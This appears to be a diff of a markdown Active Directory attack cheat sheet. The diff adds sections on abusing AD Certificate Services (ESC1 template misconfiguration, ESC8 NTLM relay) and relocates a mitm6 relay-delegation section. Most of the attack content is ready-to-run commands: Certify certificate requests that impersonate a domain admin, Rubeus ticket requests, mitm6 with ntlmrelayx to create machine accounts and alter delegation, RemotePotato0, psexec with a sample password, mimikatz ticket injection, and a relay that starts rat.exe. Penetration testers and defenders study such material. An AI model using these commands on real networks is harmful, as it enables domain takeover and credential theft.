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AD CS Attacks
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@ -62,7 +62,10 @@
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- [Drop the MIC](#drop-the-mic)
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- [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384)
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- [RemotePotato0 DCOM DCE RPC relay](#remotepotato0-dcom-dce-rpc-relay)
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- [AD CS Relay Attack](#ad-cs-relay-attack)
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- [Relay delegation with mitm6](#relay-delegation-with-mitm6)
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- [Active Directory Certificate Services](#active-directory-certificate-services)
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- [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
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- [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
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- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
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- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
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- [GenericAll](#genericall)
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@ -86,7 +89,6 @@
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- [Kerberos Constrained Delegation](#kerberos-constrained-delegation)
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- [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
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- [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
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- [Relay delegation with mitm6](#relay-delegation-with-mitm6)
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- [PrivExchange attack](#privexchange-attack)
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- [PXE Boot image attack](#pxe-boot-image-attack)
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- [DSRM Credentials](#dsrm-credentials)
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@ -1744,7 +1746,7 @@ python2 scanMIC.py 'DOMAIN/USERNAME:PASSWORD@TARGET'
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#### Ghost Potato - CVE-2019-1384
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Prerequisites:
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Requirements:
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* User must be a member of the local Administrators group
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* User must be a member of the Backup Operators group
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* Token must be elevated
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@ -1759,10 +1761,9 @@ ntlmrelayx -smb2support --no-smb-server --gpotato-startup rat.exe
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> It abuses the DCOM activation service and trigger an NTLM authentication of the user currently logged on in the target machine
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Requirement:
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* a shell in session 0 (e.g. WinRm shell or SSH shell)
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* a privileged user is logged on in the session 1 (e.g. a Domain Admin user)
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Requirements:
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- a shell in session 0 (e.g. WinRm shell or SSH shell)
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- a privileged user is logged on in the session 1 (e.g. a Domain Admin user)
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```powershell
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# https://github.com/antonioCoco/RemotePotato0/
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@ -1772,7 +1773,61 @@ Session0> RemotePotato0.exe -r 192.168.83.130 -p 9998 -s 2
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Terminal> psexec.py 'LAB/winrm_user_1:Password123!@192.168.83.135'
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```
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#### AD CS Relay Attack
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#### Relay delegation with mitm6
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Requirements:
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- IPv6 enabled (Windows prefers IPV6 over IPv4)
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- LDAP over TLS (LDAPS)
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> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
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```powershell
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git clone https://github.com/fox-it/mitm6.git
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cd /opt/tools/mitm6
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pip install .
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mitm6 -hw ws02 -d lab.local --ignore-nofqnd
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ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
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then use rubeus with s4u to relay the delegation
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```
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### Active Directory Certificate Services
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#### ESC1 - Misconfigured Certificate Templates
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> Domain Users can enroll in the **VulnTemplate** template, which can be used for client authentication and has **ENROLLEE_SUPPLIES_SUBJECT** set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
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Requirements:
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* Template that allows for AD authentication
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* **ENROLLEE_SUPPLIES_SUBJECT** flag
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* [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
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Exploitation:
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* Use [Certify.exe](https://github.com/GhostPack/Certify) to see if there are any vulnerable templates
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```ps1
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Certify.exe find /vulnerable
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```
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* Use Certify to request a Certificate and add an alternative name (user to impersonate)
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```ps1
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Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
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```
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* Use OpenSSL and convert the certificate, do not enter a password
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```ps1
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openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
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```
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* Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
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```ps1
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Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
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```
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**WARNING**: These certificates will still be usable even if the user or computer resets their password!
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**NOTE**: Look for **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA** flags, and NTLM Relay to AD CS HTTP Endpoints.
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#### ESC8 - AD CS Relay Attack
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> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
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@ -2493,24 +2548,6 @@ python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate U
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.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
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```
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### Relay delegation with mitm6
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Prerequisites:
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- IPv6 enabled (Windows prefers IPV6 over IPv4)
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- LDAP over TLS (LDAPS)
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> ntlmrelayx relays the captured credentials to LDAP on the domain controller, uses that to create a new machine account, print the account's name and password and modifies the delegation rights of it.
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```powershell
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git clone https://github.com/fox-it/mitm6.git
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cd /opt/tools/mitm6
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pip install .
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mitm6 -hw ws02 -d lab.local --ignore-nofqnd
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ntlmrelayx.py -t ldaps://dc01.lab.local --delegate-access --no-smb-server -wh attacker-wpad
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then use rubeus with s4u to relay the delegation
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```
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### PrivExchange attack
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Exchange your privileges for Domain Admin privs by abusing Exchange.
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@ -2875,4 +2912,6 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae
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* [Attacking Active Directory: 0 to 0.9 - Eloy Pérez González - 2021/05/29](https://zer1t0.gitlab.io/posts/attacking_ad/)
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* [Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021](https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/)
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* [Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021](http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/)
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* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
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* [NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema](https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/)
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* [Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Certified-Pre-Owned-Abusing-Active-Directory-Certificate-Services.pdf)
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* [Certified Pre-Owned - Will Schroeder - Jun 17 2021](https://posts.specterops.io/certified-pre-owned-d95910965cd2)
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